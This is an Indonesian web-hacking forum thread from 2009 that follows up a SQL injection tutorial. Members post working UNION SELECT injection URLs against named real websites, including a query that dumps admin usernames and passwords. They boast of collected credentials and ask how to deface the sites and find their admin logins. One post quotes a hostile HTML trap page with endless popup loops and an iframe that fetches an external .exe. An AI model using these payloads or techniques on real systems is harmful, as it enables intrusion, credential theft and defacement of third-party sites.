[TUTORIAL] SQL Injection Pada PHP

Forum untuk membahas semua tentang web hacking mulai dari footprint, scanning, gain access, escalate previlege, exploit,cover track, backdoors sampai mengamankan web

Moderators: Paman, Xshadow, indounderground, NeOS-01

Forum rules
Membahas bugs,penetrasi, eksploitasi dan teknik mengamankan website - websrver. Sertakan POC disini agar member dapat mempelajarinya
Post Reply
User avatar
exops
Posts: 106
Joined: Sat Mar 07, 2009 1:03 pm
Location: Djogja
Contact:
Contact exops

Re: [TUTORIAL]SQL Injection Pada PHP

Post by exops » Tue Jun 30, 2009 4:33 pm

sptnya yg ini dah lengkap, tp kok ttp g bs ?
http://www.vnrhcs.org/news_detail.php?i ... TABASE()--

whats wrong ? :roll:
Semakin banyak memberi, semakin banyak menerima
Image
http://exops.info
Top
User avatar
justkid
Posts: 19
Joined: Sat Jul 12, 2008 3:05 am

Re: [TUTORIAL]SQL Injection Pada PHP

Post by justkid » Tue Jun 30, 2009 6:34 pm

Mo tanya ni...

kalo dah dapet user + pass adminnya gimana cara defacenya om??

ni aq da koleksi user+pass adminnya
http://www.jaspal.com/news_detail.php?i ... m+tbuser--
Top
User avatar
justkid
Posts: 19
Joined: Sat Jul 12, 2008 3:05 am

Re: [TUTORIAL]SQL Injection Pada PHP

Post by justkid » Tue Jun 30, 2009 6:37 pm

sory rewrite, there is a wrong
this is my colection is true :twisted: :twisted: :twisted:
----------------------------------
http://www.jaspal.com/news_detail.php?i ... m+tbuser--
----------------------------------
Top
uba_bully
Posts: 4
Joined: Thu Jun 11, 2009 6:04 pm

Re: [TUTORIAL]SQL Injection Pada PHP

Post by uba_bully » Fri Jul 24, 2009 1:01 pm

kang .
saya dapet yg versi 4 .
mohon pencerahan nya . :mrgreen: :mrgreen: :mrgreen: :mrgreen:
Top
User avatar
lfay
Posts: 9
Joined: Fri Feb 15, 2008 10:32 am
Location: dimana pun aku ada..

Re: [TUTORIAL]SQL Injection Pada PHP

Post by lfay » Fri Jul 24, 2009 9:45 pm

Setelah Q ikuti step² gua ngedapati gini neh

Code: Select all

MySQL error 1222: The used SELECT statements have a different number of columns
setelah q masukkan

Code: Select all

http://www.examplesaja.com.my/news/news_detail.php?id=-3+union+all+select+1,version(),3,4,5,6,7,8/*
gimana kk'...
mohon bimbingan yak...?
:D
Saya tidak pinter, tidak jenius, apalagi disebut2 hebat..
/me hanya seorang yang pengen belajar memahami sesuatu yang sulit untuk dipecahkan..
Top
User avatar
lfay
Posts: 9
Joined: Fri Feb 15, 2008 10:32 am
Location: dimana pun aku ada..

Re: [TUTORIAL]SQL Injection Pada PHP

Post by lfay » Fri Jul 24, 2009 11:12 pm

exops wrote:sptnya yg ini dah lengkap, tp kok ttp g bs ?
http://www.vnrhcs.org/news_detail.php?i ... TABASE()--

whats wrong ? :roll:

ya jadi contoh tu SqL versi 5 > bro...
kalu versi 4 katanya agak sedikit beda gitu....nebak2 table ato gimana kurang tau gua...
:roll:
Saya tidak pinter, tidak jenius, apalagi disebut2 hebat..
/me hanya seorang yang pengen belajar memahami sesuatu yang sulit untuk dipecahkan..
Top
User avatar
lfay
Posts: 9
Joined: Fri Feb 15, 2008 10:32 am
Location: dimana pun aku ada..

Re: [TUTORIAL]SQL Injection Pada PHP

Post by lfay » Sat Jul 25, 2009 12:24 am

dapet juga neh.....

Code: Select all

http://www.signyband.com/news_detail.php?id=-6+union+all+select+1,2,GROUP_CONCAT(username,0x3a,password,0x3a),4,5,6,7,8,9,10+from+mod_tbluser--
tapi sayang nya udah ada yang pernah masuk....

btw, cari login adminnya dimana ya...?
Saya tidak pinter, tidak jenius, apalagi disebut2 hebat..
/me hanya seorang yang pengen belajar memahami sesuatu yang sulit untuk dipecahkan..
Top
User avatar
3xtr3m3b0y
Posts: 317
Joined: Wed Apr 22, 2009 5:11 pm
Location: ~[Hacked Machine]~
Contact:
Contact 3xtr3m3b0y

Re: [TUTORIAL]SQL Injection Pada PHP

Post by 3xtr3m3b0y » Mon Jul 27, 2009 7:44 pm

al-carati wrote:
aries deris wrote:
Bi4kKob4r wrote:perhatian aja...
hati2 dalam mencoba

soalnya banyak yang bikin serangan balik

contohnya

harap berdoa sebelum klik :lol:
wkwkwkwkwk scriptnya Xshadow
wkwkwkwkwwk
iya tuh isa buat nyerang balik wkwkwkwkwkwkwk
@ Bwt bung x-shadow tolong dishare script bwt nyerang balik gitu :D
coz ane jg pernah nyoba buka trus mozzila ane jd hang akhirnya ane tekan ctrl+alt+del aja bwt
ngilangin,salut bwt bung x-shadow :D :D
Waktu dibuka, pas sdh Loading separuh langsung di STOP, trus View Sourcex...

Code: Select all

<html>
<head>
<script language='javascript'>
function stayHere(){
	alert('fvck y0u');
	while(1<2){
	  window.open("index.php");
	}
}
</script>
</head>
<body onunload="stayHere()">
  
  //Baris ini dicopy sebanyak2x, mulai dari baris di bawah sampai...
  <IFRAME ONLOAD="alert('fvck y0u')" SRC="mailto:[email protected]?subject=jancuk jaran&body=fvck y0u full"></IFRAME>
<iframe id=xx src="http://cc.shu.edu.tw/~download/rar/wrar35b6tc.exe">
<iframe id=xx src="ymsgr:sendim?kena6">
<iframe id=xx src="telnet://192.168.1.100">
<iframe id=fvck src="irc://irc.theoneserv.net:6668">
  <script language='javascript'>
    while(1<2) { 
	  setTimeout(alert('fvck y0u'), 1000);
	  window.open("index.php");
	}
  </script>
 //Sampai baris di atas...

</body>
</html>
...n0 l1m17...
Top
Cumi234
Posts: 4
Joined: Sat Jun 24, 2006 1:25 pm
Location: localhost

Re: [TUTORIAL]SQL Injection Pada PHP

Post by Cumi234 » Mon Aug 03, 2009 9:55 pm

masalah di hexadecimal_sql

ada yg mau bantu ....?
Top
defacement88
Posts: 17
Joined: Tue Jul 21, 2009 11:54 am

Re: [TUTORIAL]SQL Injection Pada PHP

Post by defacement88 » Wed Aug 12, 2009 4:51 pm

Cumi234 wrote:masalah di hexadecimal_sql

ada yg mau bantu ....?
maksudnya hexadecimal dari "Cumi234" :?:
nih :arrow: 0x43756d69323334
:mrgreen:
Image
Top
Post Reply

Return to “Web Hacking”